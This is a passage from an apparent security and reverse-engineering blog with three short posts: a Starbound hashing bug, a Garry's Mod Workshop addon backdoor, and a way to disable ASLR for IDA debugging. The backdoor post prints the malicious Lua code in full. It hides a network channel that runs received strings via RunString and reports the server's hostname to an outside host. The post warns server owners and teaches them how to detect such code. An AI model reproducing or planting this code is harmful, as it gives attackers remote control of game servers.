14
15
16
17
int HASH_FINAL (unsigned char *md, HASH_CTX *c)
{
unsigned char *p = (unsigned char *)c->data;
size_t n = c->num;

p[n] = 0x80;
n++;

if (n > (HASH_CBLOCK-8)) /* <================ Here! */
{
memset (p+n,0,HASH_CBLOCK-n);
n=0;
HASH_BLOCK_DATA_ORDER (c,p,1);
}
memset (p+n,0,HASH_CBLOCK-8-n);

// ...

HASH_BLOCK is defined as 64 (see https://github.com/openssl/openssl/blob/master/crypto/sha/sha256.c#L77 and https://github.com/openssl/openssl/blob/master/crypto/sha/sha.h#L94)

This causes issues for people making asset database readers, and people making server wrappers.

Examples

1
2
3
4
5
6
7
8
9
10
11
data      = /objects/generic/aviandungeonpod/aviandungeonpod.object
expected = 5ec605bc23efe4cf33c908acf39765ea747184c45685ba0882faaaabf65faedb
starbound = d382a309d24d1744019a0e411b261650a4759888d941bf96ac77d2b93809812f

data = /animations/muzzleflash/bulletmuzzle2/bulletmuzzle2.png
expected = ee26c2aae2611f452fa14599b2dc603f97d9d3fa90d904c310daad2940776290
starbound = 01296632e13403df27a08222159c4336365c52b60cbd55c9be2b3581799dd8e6

data = /animations/muzzleflash/bulletmuzzle3/bulletmuzzle3.png
expected = 884907c6f49d362f9baf2055e070b559a5c1342ef25130ab7d8eb297d08f87e7
starbound = 5f3e5a249d9788ca534e02b314578ff1ba9a2b8caadc0b166a65f350958badb4

Garry's Mod Workshop Backdoors

Garry’s Mod is a pretty popular game now, and it’s easier to use than ever with the built in Steam Workshop support. Workshop addons can be installed on clients, but servers can also subscribe to addons.

The problem with the Workshop system is that addons will auto-update when you launch the game or start the server. You have no choice in the matter either, unless you manually add the addons by extracting them into your addons folder.

This means that the author of any addon you are subscribed to has the ability to run any code they want on your server. All they have to do is update their addon with some malicious code, and then once your server restarts, they have full control.

The author of the Screen Grabber (Anti-Cheat!) addon did this, and appears to have caused some mayhem on a few servers with this piece of code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (SERVER && game.IsDedicated()) then 
timer.Simple(30,function()
local onr = net.Receive
net.Receive = function(n, ...)
if (n != "bdsm") then
onr(n, unpack({...}))
end
end

util.AddNetworkString("bdsm")
onr("bdsm", function(l, p)
RunString(net.ReadString())
end)

http.Post("http://www.bg-server.3owl.com/", {hn = GetConVarString("hostname"), id = "Screen Capture"}, function(s) end, function(e) end)
end)
end

What if someone used an exploit to run native code from Lua, and pushed out an update to thousands of subscribers? The consequences could be a lot worse than some server having a few people messing with it.

So there are a few take home messages:

  • Auto-updating is bad news - if you’re going to use the Workshop on your server, manually add the contents of the GMAs to your addons folder.
  • If you’re running a popular server, make sure you check the code that you’re running on it. Most of these backdoors are pretty lame and just call RunString. Even if you don’t know Lua, you can still do a “Find in Folders” search for RunString to see if there’s anything shady going on.
  • Don’t jump to conclusions about how someone has compromised your server. Make sure you know how the attackers got in so you can properly fix the problem.

Disable ASLR and stop IDA rebasing

Sometimes when you’re attaching IDA to a process, you’ll get:

This can be especially annoying if you’re working with a large binary - it takes a while. It’s usually caused by Address space layout randomization, which is enabled by the linker using the /DYANAMICBASE option.

Essentially all this does is set the IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE flag in the DllCharacteristics word in IMAGE_OPTIONAL_HEADER. You can fairly easily disable it yourself, but Microsoft makes it easy for us. Open up a VS command prompt and use:

1
$ link /edit /dynamicbase:NO filename.exe

And ASLR is off. No more rebasing.